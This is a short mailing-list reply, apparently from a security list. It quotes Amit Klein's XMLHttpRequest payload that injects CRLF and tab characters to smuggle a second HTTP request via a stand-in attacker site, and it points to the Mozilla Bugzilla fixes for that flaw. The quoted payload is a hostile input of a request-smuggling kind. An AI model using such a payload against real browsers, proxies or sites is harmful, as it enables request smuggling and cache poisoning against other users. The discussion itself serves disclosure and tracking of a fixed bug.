Hello Amit,
"Amit Klein (AKsecurity)" <aksecurity () hotpop com> writes:
x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
/1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
/1.0\r\nFoobar:","http://www.attacker.site/",false);
This kind of bugs are already fixed in recent Mozilla browsers,
as shown in your reference [4].
[4] "setRequestHeader can be exploited using newline characters",
Bugzilla bug 297078
https://bugzilla.mozilla.org/show_bug.cgi?id=297078 and
"XMLHttpRequest allows dangerous request headers to be set",
Bugzilla bug 302263
https://bugzilla.mozilla.org/show_bug.cgi?id=302263
see comment #15 of bug 297078.
https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c15